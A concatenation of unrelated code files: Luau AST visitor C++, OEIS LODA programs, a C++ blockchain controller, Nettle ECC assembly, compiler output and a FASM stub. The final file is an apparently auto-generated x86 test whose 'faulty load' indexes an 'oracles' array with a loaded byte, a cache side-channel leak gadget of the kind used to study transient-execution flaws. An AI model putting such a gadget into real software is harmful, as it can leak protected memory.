AstExprVarargs::AstExprVarargs(const Location& location)
: AstExpr(ClassIndex(), location)
{
}
void AstExprVarargs::visit(AstVisitor* visitor)
{
visitor->visit(this);
}
AstExprCall::AstExprCall(const Location& location, AstExpr* func, const AstArray<AstExpr*>& args, bool self, const Location& argLocation)
: AstExpr(ClassIndex(), location)
, func(func)
, args(args)
, self(self)
, argLocation(argLocation)
{
}
void AstExprCall::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
func->visit(visitor);
for (AstExpr* arg : args)
arg->visit(visitor);
}
}
AstExprIndexName::AstExprIndexName(
const Location& location, AstExpr* expr, const AstName& index, const Location& indexLocation, const Position& opPosition, char op)
: AstExpr(ClassIndex(), location)
, expr(expr)
, index(index)
, indexLocation(indexLocation)
, opPosition(opPosition)
, op(op)
{
}
void AstExprIndexName::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
expr->visit(visitor);
}
AstExprIndexExpr::AstExprIndexExpr(const Location& location, AstExpr* expr, AstExpr* index)
: AstExpr(ClassIndex(), location)
, expr(expr)
, index(index)
{
}
void AstExprIndexExpr::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
expr->visit(visitor);
index->visit(visitor);
}
}
AstExprFunction::AstExprFunction(const Location& location, const AstArray<AstName>& generics, const AstArray<AstName>& genericPacks, AstLocal* self,
const AstArray<AstLocal*>& args, std::optional<Location> vararg, AstStatBlock* body, size_t functionDepth, const AstName& debugname,
std::optional<AstTypeList> returnAnnotation, AstTypePack* varargAnnotation, bool hasEnd, std::optional<Location> argLocation)
: AstExpr(ClassIndex(), location)
, generics(generics)
, genericPacks(genericPacks)
, self(self)
, args(args)
, hasReturnAnnotation(returnAnnotation.has_value())
, returnAnnotation()
, vararg(vararg.has_value())
, varargLocation(vararg.value_or(Location()))
, varargAnnotation(varargAnnotation)
, body(body)
, functionDepth(functionDepth)
, debugname(debugname)
, hasEnd(hasEnd)
, argLocation(argLocation)
{
if (returnAnnotation.has_value())
this->returnAnnotation = *returnAnnotation;
}
void AstExprFunction::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (AstLocal* arg : args)
{
if (arg->annotation)
arg->annotation->visit(visitor);
}
if (varargAnnotation)
varargAnnotation->visit(visitor);
if (hasReturnAnnotation)
visitTypeList(visitor, returnAnnotation);
body->visit(visitor);
}
}
AstExprTable::AstExprTable(const Location& location, const AstArray<Item>& items)
: AstExpr(ClassIndex(), location)
, items(items)
{
}
void AstExprTable::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (const Item& item : items)
{
if (item.key)
item.key->visit(visitor);
item.value->visit(visitor);
}
}
}
AstExprUnary::AstExprUnary(const Location& location, Op op, AstExpr* expr)
: AstExpr(ClassIndex(), location)
, op(op)
, expr(expr)
{
}
void AstExprUnary::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
expr->visit(visitor);
}
std::string toString(AstExprUnary::Op op)
{
switch (op)
{
case AstExprUnary::Minus:
return "-";
case AstExprUnary::Not:
return "not";
case AstExprUnary::Len:
return "#";
default:
LUAU_ASSERT(false);
return ""; // MSVC requires this even though the switch/case is exhaustive
}
}
AstExprBinary::AstExprBinary(const Location& location, Op op, AstExpr* left, AstExpr* right)
: AstExpr(ClassIndex(), location)
, op(op)
, left(left)
, right(right)
{
}
void AstExprBinary::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
left->visit(visitor);
right->visit(visitor);
}
}
std::string toString(AstExprBinary::Op op)
{
switch (op)
{
case AstExprBinary::Add:
return "+";
case AstExprBinary::Sub:
return "-";
case AstExprBinary::Mul:
return "*";
case AstExprBinary::Div:
return "/";
case AstExprBinary::Mod:
return "%";
case AstExprBinary::Pow:
return "^";
case AstExprBinary::Concat:
return "..";
case AstExprBinary::CompareNe:
return "~=";
case AstExprBinary::CompareEq:
return "==";
case AstExprBinary::CompareLt:
return "<";
case AstExprBinary::CompareLe:
return "<=";
case AstExprBinary::CompareGt:
return ">";
case AstExprBinary::CompareGe:
return ">=";
case AstExprBinary::And:
return "and";
case AstExprBinary::Or:
return "or";
default:
LUAU_ASSERT(false);
return ""; // MSVC requires this even though the switch/case is exhaustive
}
}
AstExprTypeAssertion::AstExprTypeAssertion(const Location& location, AstExpr* expr, AstType* annotation)
: AstExpr(ClassIndex(), location)
, expr(expr)
, annotation(annotation)
{
}
void AstExprTypeAssertion::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
expr->visit(visitor);
annotation->visit(visitor);
}
}
AstExprIfElse::AstExprIfElse(const Location& location, AstExpr* condition, bool hasThen, AstExpr* trueExpr, bool hasElse, AstExpr* falseExpr)
: AstExpr(ClassIndex(), location)
, condition(condition)
, hasThen(hasThen)
, trueExpr(trueExpr)
, hasElse(hasElse)
, falseExpr(falseExpr)
{
}
void AstExprIfElse::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
condition->visit(visitor);
trueExpr->visit(visitor);
falseExpr->visit(visitor);
}
}
AstExprError::AstExprError(const Location& location, const AstArray<AstExpr*>& expressions, unsigned messageIndex)
: AstExpr(ClassIndex(), location)
, expressions(expressions)
, messageIndex(messageIndex)
{
}
void AstExprError::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (AstExpr* expression : expressions)
expression->visit(visitor);
}
}
AstStatBlock::AstStatBlock(const Location& location, const AstArray<AstStat*>& body)
: AstStat(ClassIndex(), location)
, body(body)
{
}
void AstStatBlock::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (AstStat* stat : body)
stat->visit(visitor);
}
}
AstStatIf::AstStatIf(const Location& location, AstExpr* condition, AstStatBlock* thenbody, AstStat* elsebody, bool hasThen,
const Location& thenLocation, const std::optional<Location>& elseLocation, bool hasEnd)
: AstStat(ClassIndex(), location)
, condition(condition)
, thenbody(thenbody)
, elsebody(elsebody)
, hasThen(hasThen)
, thenLocation(thenLocation)
, hasEnd(hasEnd)
{
if (bool(elseLocation))
{
hasElse = true;
this->elseLocation = *elseLocation;
}
}
void AstStatIf::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
condition->visit(visitor);
thenbody->visit(visitor);
if (elsebody)
elsebody->visit(visitor);
}
}
AstStatWhile::AstStatWhile(const Location& location, AstExpr* condition, AstStatBlock* body, bool hasDo, const Location& doLocation, bool hasEnd)
: AstStat(ClassIndex(), location)
, condition(condition)
, body(body)
, hasDo(hasDo)
, doLocation(doLocation)
, hasEnd(hasEnd)
{
}
void AstStatWhile::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
condition->visit(visitor);
body->visit(visitor);
}
}
AstStatRepeat::AstStatRepeat(const Location& location, AstExpr* condition, AstStatBlock* body, bool hasUntil)
: AstStat(ClassIndex(), location)
, condition(condition)
, body(body)
, hasUntil(hasUntil)
{
}
void AstStatRepeat::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
body->visit(visitor);
condition->visit(visitor);
}
}
AstStatBreak::AstStatBreak(const Location& location)
: AstStat(ClassIndex(), location)
{
}
void AstStatBreak::visit(AstVisitor* visitor)
{
visitor->visit(this);
}
AstStatContinue::AstStatContinue(const Location& location)
: AstStat(ClassIndex(), location)
{
}
void AstStatContinue::visit(AstVisitor* visitor)
{
visitor->visit(this);
}
AstStatReturn::AstStatReturn(const Location& location, const AstArray<AstExpr*>& list)
: AstStat(ClassIndex(), location)
, list(list)
{
}
void AstStatReturn::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (AstExpr* expr : list)
expr->visit(visitor);
}
}
AstStatExpr::AstStatExpr(const Location& location, AstExpr* expr)
: AstStat(ClassIndex(), location)
, expr(expr)
{
}
void AstStatExpr::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
expr->visit(visitor);
}
AstStatLocal::AstStatLocal(
const Location& location, const AstArray<AstLocal*>& vars, const AstArray<AstExpr*>& values, const std::optional<Location>& equalsSignLocation)
: AstStat(ClassIndex(), location)
, vars(vars)
, values(values)
{
if (bool(equalsSignLocation))
{
hasEqualsSign = true;
this->equalsSignLocation = *equalsSignLocation;
}
}
void AstStatLocal::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (AstLocal* var : vars)
{
if (var->annotation)
var->annotation->visit(visitor);
}
for (AstExpr* expr : values)
expr->visit(visitor);
}
}
AstStatFor::AstStatFor(const Location& location, AstLocal* var, AstExpr* from, AstExpr* to, AstExpr* step, AstStatBlock* body, bool hasDo,
const Location& doLocation, bool hasEnd)
: AstStat(ClassIndex(), location)
, var(var)
, from(from)
, to(to)
, step(step)
, body(body)
, hasDo(hasDo)
, doLocation(doLocation)
, hasEnd(hasEnd)
{
}
void AstStatFor::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
if (var->annotation)
var->annotation->visit(visitor);
from->visit(visitor);
to->visit(visitor);
if (step)
step->visit(visitor);
body->visit(visitor);
}
}
AstStatForIn::AstStatForIn(const Location& location, const AstArray<AstLocal*>& vars, const AstArray<AstExpr*>& values, AstStatBlock* body,
bool hasIn, const Location& inLocation, bool hasDo, const Location& doLocation, bool hasEnd)
: AstStat(ClassIndex(), location)
, vars(vars)
, values(values)
, body(body)
, hasIn(hasIn)
, inLocation(inLocation)
, hasDo(hasDo)
, doLocation(doLocation)
, hasEnd(hasEnd)
{
}
void AstStatForIn::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (AstLocal* var : vars)
{
if (var->annotation)
var->annotation->visit(visitor);
}
for (AstExpr* expr : values)
expr->visit(visitor);
body->visit(visitor);
}
}
AstStatAssign::AstStatAssign(const Location& location, const AstArray<AstExpr*>& vars, const AstArray<AstExpr*>& values)
: AstStat(ClassIndex(), location)
, vars(vars)
, values(values)
{
}
void AstStatAssign::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (AstExpr* lvalue : vars)
lvalue->visit(visitor);
for (AstExpr* expr : values)
expr->visit(visitor);
}
}
AstStatCompoundAssign::AstStatCompoundAssign(const Location& location, AstExprBinary::Op op, AstExpr* var, AstExpr* value)
: AstStat(ClassIndex(), location)
, op(op)
, var(var)
, value(value)
{
}
void AstStatCompoundAssign::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
var->visit(visitor);
value->visit(visitor);
}
}
AstStatFunction::AstStatFunction(const Location& location, AstExpr* name, AstExprFunction* func)
: AstStat(ClassIndex(), location)
, name(name)
, func(func)
{
}
void AstStatFunction::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
name->visit(visitor);
func->visit(visitor);
}
}
AstStatLocalFunction::AstStatLocalFunction(const Location& location, AstLocal* name, AstExprFunction* func)
: AstStat(ClassIndex(), location)
, name(name)
, func(func)
{
}
void AstStatLocalFunction::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
func->visit(visitor);
}
AstStatTypeAlias::AstStatTypeAlias(const Location& location, const AstName& name, const AstArray<AstName>& generics, AstType* type, bool exported)
: AstStat(ClassIndex(), location)
, name(name)
, generics(generics)
, type(type)
, exported(exported)
{
}
void AstStatTypeAlias::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
type->visit(visitor);
}
AstStatDeclareGlobal::AstStatDeclareGlobal(const Location& location, const AstName& name, AstType* type)
: AstStat(ClassIndex(), location)
, name(name)
, type(type)
{
}
void AstStatDeclareGlobal::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
type->visit(visitor);
}
AstStatDeclareFunction::AstStatDeclareFunction(const Location& location, const AstName& name, const AstArray<AstName>& generics,
const AstArray<AstName>& genericPacks, const AstTypeList& params, const AstArray<AstArgumentName>& paramNames, const AstTypeList& retTypes)
: AstStat(ClassIndex(), location)
, name(name)
, generics(generics)
, genericPacks(genericPacks)
, params(params)
, paramNames(paramNames)
, retTypes(retTypes)
{
}
void AstStatDeclareFunction::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
visitTypeList(visitor, params);
visitTypeList(visitor, retTypes);
}
}
AstStatDeclareClass::AstStatDeclareClass(
const Location& location, const AstName& name, std::optional<AstName> superName, const AstArray<AstDeclaredClassProp>& props)
: AstStat(ClassIndex(), location)
, name(name)
, superName(superName)
, props(props)
{
}
void AstStatDeclareClass::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (const AstDeclaredClassProp& prop : props)
prop.ty->visit(visitor);
}
}
AstStatError::AstStatError(
const Location& location, const AstArray<AstExpr*>& expressions, const AstArray<AstStat*>& statements, unsigned messageIndex)
: AstStat(ClassIndex(), location)
, expressions(expressions)
, statements(statements)
, messageIndex(messageIndex)
{
}
void AstStatError::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (AstNode* expression : expressions)
expression->visit(visitor);
for (AstNode* statement : statements)
statement->visit(visitor);
}
}
AstTypeReference::AstTypeReference(const Location& location, std::optional<AstName> prefix, AstName name, const AstArray<AstType*>& generics)
: AstType(ClassIndex(), location)
, hasPrefix(bool(prefix))
, prefix(prefix ? *prefix : AstName())
, name(name)
, generics(generics)
{
}
void AstTypeReference::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (AstType* generic : generics)
generic->visit(visitor);
}
}
AstTypeTable::AstTypeTable(const Location& location, const AstArray<AstTableProp>& props, AstTableIndexer* indexer)
: AstType(ClassIndex(), location)
, props(props)
, indexer(indexer)
{
}
void AstTypeTable::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (const AstTableProp& prop : props)
prop.type->visit(visitor);
if (indexer)
{
indexer->indexType->visit(visitor);
indexer->resultType->visit(visitor);
}
}
}
AstTypeFunction::AstTypeFunction(const Location& location, const AstArray<AstName>& generics, const AstArray<AstName>& genericPacks,
const AstTypeList& argTypes, const AstArray<std::optional<AstArgumentName>>& argNames, const AstTypeList& returnTypes)
: AstType(ClassIndex(), location)
, generics(generics)
, genericPacks(genericPacks)
, argTypes(argTypes)
, argNames(argNames)
, returnTypes(returnTypes)
{
LUAU_ASSERT(argNames.size == 0 || argNames.size == argTypes.types.size);
}
void AstTypeFunction::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
visitTypeList(visitor, argTypes);
visitTypeList(visitor, returnTypes);
}
}
AstTypeTypeof::AstTypeTypeof(const Location& location, AstExpr* expr)
: AstType(ClassIndex(), location)
, expr(expr)
{
}
void AstTypeTypeof::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
expr->visit(visitor);
}
AstTypeUnion::AstTypeUnion(const Location& location, const AstArray<AstType*>& types)
: AstType(ClassIndex(), location)
, types(types)
{
}
void AstTypeUnion::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (AstType* type : types)
type->visit(visitor);
}
}
AstTypeIntersection::AstTypeIntersection(const Location& location, const AstArray<AstType*>& types)
: AstType(ClassIndex(), location)
, types(types)
{
}
void AstTypeIntersection::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (AstType* type : types)
type->visit(visitor);
}
}
AstTypeError::AstTypeError(const Location& location, const AstArray<AstType*>& types, bool isMissing, unsigned messageIndex)
: AstType(ClassIndex(), location)
, types(types)
, isMissing(isMissing)
, messageIndex(messageIndex)
{
}
void AstTypeError::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
{
for (AstType* type : types)
type->visit(visitor);
}
}
AstTypePackVariadic::AstTypePackVariadic(const Location& location, AstType* variadicType)
: AstTypePack(ClassIndex(), location)
, variadicType(variadicType)
{
}
void AstTypePackVariadic::visit(AstVisitor* visitor)
{
if (visitor->visit(this))
variadicType->visit(visitor);
}
AstTypePackGeneric::AstTypePackGeneric(const Location& location, AstName name)
: AstTypePack(ClassIndex(), location)
, genericName(name)
{
}
void AstTypePackGeneric::visit(AstVisitor* visitor)
{
visitor->visit(this);
}
AstName getIdentifier(AstExpr* node)
{
if (AstExprGlobal* expr = node->as<AstExprGlobal>())
return expr->name;
if (AstExprLocal* expr = node->as<AstExprLocal>())
return expr->local->name;
return AstName();
}
} // namespace Luau
|
; A349883: Expansion of Sum_{k>=0} (k * x)^k/(1 - k^3 * x).
; Submitted by Jamie Morken(s3)
; 1,1,5,60,1242,41241,2033683,141318208,13262986788,1624337451945,252725477615989,48858277079478156,11523986801592238046,3265676705193282018577,1097336766468309067029991,432291795385094609190468384,197690320046319097006619353352,104034528285839801644208219427249,62516215889091644754970558334945577,42601774782854225617806863882250980380,32717628918685109165584950113904092001698,28158754708772516317806576972019106376345321,27021164054804420567552075071168547420919814203
mov $1,1
mov $2,$0
lpb $2
add $1,$3
mov $3,$2
sub $2,1
pow $3,$0
add $0,2
lpe
mov $0,$1
|
#include "AppendToBlcokChainController.h"
#include <service/blockchain/BlockChainService.h>
#include "rapidjson/document.h"
#include "rapidjson/writer.h"
#include "rapidjson/stringbuffer.h"
AppendToBlockChain::AppendToBlockChain() = default;
void AppendToBlockChain::service(const httplib::Request &req, httplib::Response &res) {
if (req.has_param("article")) {
std::string articleJson = req.get_param_value("article");
rapidjson::Document document;
document.Parse(articleJson.c_str());
std::vector<std::string> article;
for (auto &itr: document.GetArray()) {
article.push_back(itr.GetString());
}
auto msg = BlockChainService::addToBlockChain(article);
rapidjson::Value resValue;
resValue.SetObject();
if (msg.code == 200) {
resValue.AddMember("message", "添加成功", document.GetAllocator());
result(res, resValue);
} else {
error(res, "400", msg.msg);
}
} else {
error(res, "400", "请求参数异常");
}
}
|
C x86_64/ecc-384-modp.asm
ifelse(<
Copyright (C) 2013, 2015 Niels Möller
This file is part of GNU Nettle.
GNU Nettle is free software: you can redistribute it and/or
modify it under the terms of either:
* the GNU Lesser General Public License as published by the Free
Software Foundation; either version 3 of the License, or (at your
option) any later version.
or
* the GNU General Public License as published by the Free
Software Foundation; either version 2 of the License, or (at your
option) any later version.
or both in parallel, as here.
GNU Nettle is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received copies of the GNU General Public License and
the GNU Lesser General Public License along with this program. If
not, see http://www.gnu.org/licenses/.
>)
.file "ecc-384-modp.asm"
define(<RP>, <%rsi>)
define(<D5>, <%rax>)
define(<T0>, <%rbx>)
define(<T1>, <%rcx>)
define(<T2>, <%rdx>)
define(<T3>, <%rbp>)
define(<T4>, <%rdi>)
define(<T5>, <%r8>)
define(<H0>, <%r9>)
define(<H1>, <%r10>)
define(<H2>, <%r11>)
define(<H3>, <%r12>)
define(<H4>, <%r13>)
define(<H5>, <%r14>)
define(<C2>, <%r15>)
define(<C0>, H5) C Overlap
define(<TMP>, RP) C Overlap
PROLOGUE(nettle_ecc_384_modp)
W64_ENTRY(2, 0)
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
C First get top 2 limbs, which need folding twice.
C B^10 = B^6 + B^4 + 2^32 (B-1)B^4.
C We handle the terms as follow:
C
C B^6: Folded immediatly.
C
C B^4: Delayed, added in in the next folding.
C
C 2^32(B-1) B^4: Low half limb delayed until the next
C folding. Top 1.5 limbs subtracted and shifter now, resulting
C in 2.5 limbs. The low limb saved in D5, high 1.5 limbs added
C in.
mov 80(RP), H4
mov 88(RP), H5
C Shift right 32 bits, into H1, H0
mov H4, H0
mov H5, H1
mov H5, D5
shr $32, H1
shl $32, D5
shr $32, H0
or D5, H0
C H1 H0
C - H1 H0
C --------
C H1 H0 D5
mov H0, D5
neg D5
sbb H1, H0
sbb $0, H1
xor C2, C2
add H4, H0
adc H5, H1
adc $0, C2
C Add in to high part
add 48(RP), H0
adc 56(RP), H1
adc $0, C2 C Do C2 later
C +1 term
mov (RP), T0
add H0, T0
mov 8(RP), T1
adc H1, T1
mov 16(RP), T2
mov 64(RP), H2
adc H2, T2
mov 24(RP), T3
mov 72(RP), H3
adc H3, T3
mov 32(RP), T4
adc H4, T4
mov 40(RP), T5
adc H5, T5
sbb C0, C0
neg C0 C FIXME: Switch sign of C0?
push RP
C +B^2 term
add H0, T2
adc H1, T3
adc H2, T4
adc H3, T5
adc $0, C0
C Shift left, including low half of H4
mov H3, TMP
shl $32, H4
shr $32, TMP
or TMP, H4
mov H2, TMP
shl $32, H3
shr $32, TMP
or TMP, H3
mov H1, TMP
shl $32, H2
shr $32, TMP
or TMP, H2
mov H0, TMP
shl $32, H1
shr $32, TMP
or TMP, H1
shl $32, H0
C H4 H3 H2 H1 H0 0
C - H4 H3 H2 H1 H0
C ---------------
C H4 H3 H2 H1 H0 TMP
mov H0, TMP
neg TMP
sbb H1, H0
sbb H2, H1
sbb H3, H2
sbb H4, H3
sbb $0, H4
add TMP, T0
adc H0, T1
adc H1, T2
adc H2, T3
adc H3, T4
adc H4, T5
adc $0, C0
C Remains to add in C2 and C0
C Set H1, H0 = (2^96 - 2^32 + 1) C0
mov C0, H0
mov C0, H1
shl $32, H1
sub H1, H0
sbb $0, H1
C Set H3, H2 = (2^96 - 2^32 + 1) C2
mov C2, H2
mov C2, H3
shl $32, H3
sub H3, H2
sbb $0, H3
add C0, H2 C No carry. Could use lea trick
xor C0, C0
add H0, T0
adc H1, T1
adc H2, T2
adc H3, T3
adc C2, T4
adc D5, T5 C Value delayed from initial folding
adc $0, C0 C Use sbb and switch sign?
C Final unlikely carry
mov C0, H0
mov C0, H1
shl $32, H1
sub H1, H0
sbb $0, H1
pop RP
add H0, T0
mov T0, (RP)
adc H1, T1
mov T1, 8(RP)
adc C0, T2
mov T2, 16(RP)
adc $0, T3
mov T3, 24(RP)
adc $0, T4
mov T4, 32(RP)
adc $0, T5
mov T5, 40(RP)
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
W64_EXIT(2, 0)
ret
EPILOGUE(nettle_ecc_384_modp)
|
; A329728: Partial sums of A092261.
; 1,4,8,9,15,27,35,36,37,55,67,71,85,109,133,134,152,155,175,181,213,249,273,277,278,320,321,329,359,431,463,464,512,566,614,615,653,713,769,775,817,913,957,969,975,1047,1095,1099,1100,1103,1175,1189,1243,1246,1318,1326,1406,1496,1556,1580,1642,1738,1746,1747,1831,1975,2043,2061,2157,2301,2373,2374,2448,2562,2566,2586,2682,2850,2930,2936,2937,3063,3147,3179,3287,3419,3539,3551,3641,3659,3771,3795,3923,4067,4187,4191,4289,4292,4304,4305
lpb $0
mov $2,$0
sub $0,1
seq $2,92261 ; Sum of unitary, squarefree divisors of n, including 1.
add $1,$2
lpe
add $1,1
mov $0,$1
|
_v$ = 8 ; size = 4
unsigned int accumulate_epi32(std::vector<int,std::allocator<int> > const &) PROC ; accumulate_epi32, COMDAT
mov ecx, DWORD PTR _v$[esp-4]
xor edx, edx
push ebx
push esi
push edi
mov edi, DWORD PTR [ecx+4]
xor ebx, ebx
mov ecx, DWORD PTR [ecx]
mov eax, edi
sub eax, ecx
xor esi, esi
add eax, 3
shr eax, 2
cmp ecx, edi
cmova eax, ebx
test eax, eax
je SHORT $LN23@accumulate
cmp eax, 16 ; 00000010H
jb SHORT $LN23@accumulate
and eax, -16 ; fffffff0H
vpxor xmm1, xmm1, xmm1
vpxor xmm2, xmm2, xmm2
npad 11
$LL16@accumulate:
vpaddd ymm1, ymm1, YMMWORD PTR [ecx]
vpaddd ymm2, ymm2, YMMWORD PTR [ecx+32]
add esi, 16 ; 00000010H
add ecx, 64 ; 00000040H
cmp esi, eax
jne SHORT $LL16@accumulate
vpaddd ymm0, ymm1, ymm2
vphaddd ymm0, ymm0, ymm0
vphaddd ymm1, ymm0, ymm0
vextracti128 xmm0, ymm1, 1
vpaddd xmm0, xmm1, xmm0
vmovd edx, xmm0
$LN23@accumulate:
cmp ecx, edi
je SHORT $LN29@accumulate
$LL22@accumulate:
add edx, DWORD PTR [ecx]
add ecx, 4
cmp ecx, edi
jne SHORT $LL22@accumulate
$LN29@accumulate:
pop edi
pop esi
mov eax, edx
pop ebx
vzeroupper
ret 0
unsigned int accumulate_epi32(std::vector<int,std::allocator<int> > const &) ENDP ; accumulate_epi32
_v$ = 8 ; size = 4
unsigned int accumulate_epi8(std::vector<signed char,std::allocator<signed char> > const &) PROC ; accumulate_epi8, COMDAT
mov ecx, DWORD PTR _v$[esp-4]
xor eax, eax
push ebx
push esi
push edi
mov edi, DWORD PTR [ecx+4]
xor ebx, ebx
mov ecx, DWORD PTR [ecx]
mov edx, edi
sub edx, ecx
xor esi, esi
cmp ecx, edi
cmova edx, ebx
test edx, edx
je SHORT $LN23@accumulate
cmp edx, 16 ; 00000010H
jb SHORT $LN23@accumulate
and edx, -16 ; fffffff0H
vpxor xmm1, xmm1, xmm1
vpxor xmm2, xmm2, xmm2
npad 1
$LL16@accumulate:
vmovq xmm0, QWORD PTR [ecx]
vpmovsxbd ymm0, xmm0
vpaddd ymm1, ymm0, ymm1
vmovq xmm0, QWORD PTR [ecx+8]
add esi, 16 ; 00000010H
add ecx, 16 ; 00000010H
vpmovsxbd ymm0, xmm0
vpaddd ymm2, ymm0, ymm2
cmp esi, edx
jne SHORT $LL16@accumulate
vpaddd ymm0, ymm1, ymm2
vphaddd ymm0, ymm0, ymm0
vphaddd ymm1, ymm0, ymm0
vextracti128 xmm0, ymm1, 1
vpaddd xmm0, xmm1, xmm0
vmovd eax, xmm0
$LN23@accumulate:
cmp ecx, edi
je SHORT $LN15@accumulate
$LL22@accumulate:
movsx edx, BYTE PTR [ecx]
inc ecx
add eax, edx
cmp ecx, edi
jne SHORT $LL22@accumulate
$LN15@accumulate:
pop edi
pop esi
pop ebx
vzeroupper
ret 0
unsigned int accumulate_epi8(std::vector<signed char,std::allocator<signed char> > const &) ENDP ; accumulate_epi8
|
format ELF64 executable 3
entry start
include 'procs.inc'
segment readable executable
start:
xorc rax
xorc rdx
xorc rdi
xorc rsi
.socket:
mov rdx, 6 ; IPPROTO_TCP
mov rsi, 1 ; SOCK_STREAM
mov rdi, 2 ; PF_INET
mov rax, 41 ; SYS_SOCKET
syscall
call iprintLF
call quitProgram
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x17b1f, %rbp
nop
nop
nop
nop
nop
and %r12, %r12
movb $0x61, (%rbp)
nop
nop
nop
xor %rbx, %rbx
lea addresses_A_ht+0x549f, %rsi
lea addresses_UC_ht+0x229f, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
nop
nop
cmp %r9, %r9
mov $124, %rcx
rep movsq
nop
nop
nop
cmp %r12, %r12
lea addresses_WC_ht+0x29f, %rsi
lea addresses_D_ht+0xd81f, %rdi
nop
nop
nop
nop
nop
xor %r12, %r12
mov $83, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp %r13, %r13
lea addresses_normal_ht+0x14e5f, %r12
nop
nop
add %r9, %r9
mov (%r12), %r13d
nop
and $41823, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %rax
push %rbp
push %rdi
push %rdx
// Faulty Load
lea addresses_RW+0x7a9f, %rdi
nop
nop
nop
nop
cmp $34943, %rdx
mov (%rdi), %rbp
lea oracles, %rax
and $0xff, %rbp
shlq $12, %rbp
mov (%rax,%rbp,1), %rbp
pop %rdx
pop %rdi
pop %rbp
pop %rax
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 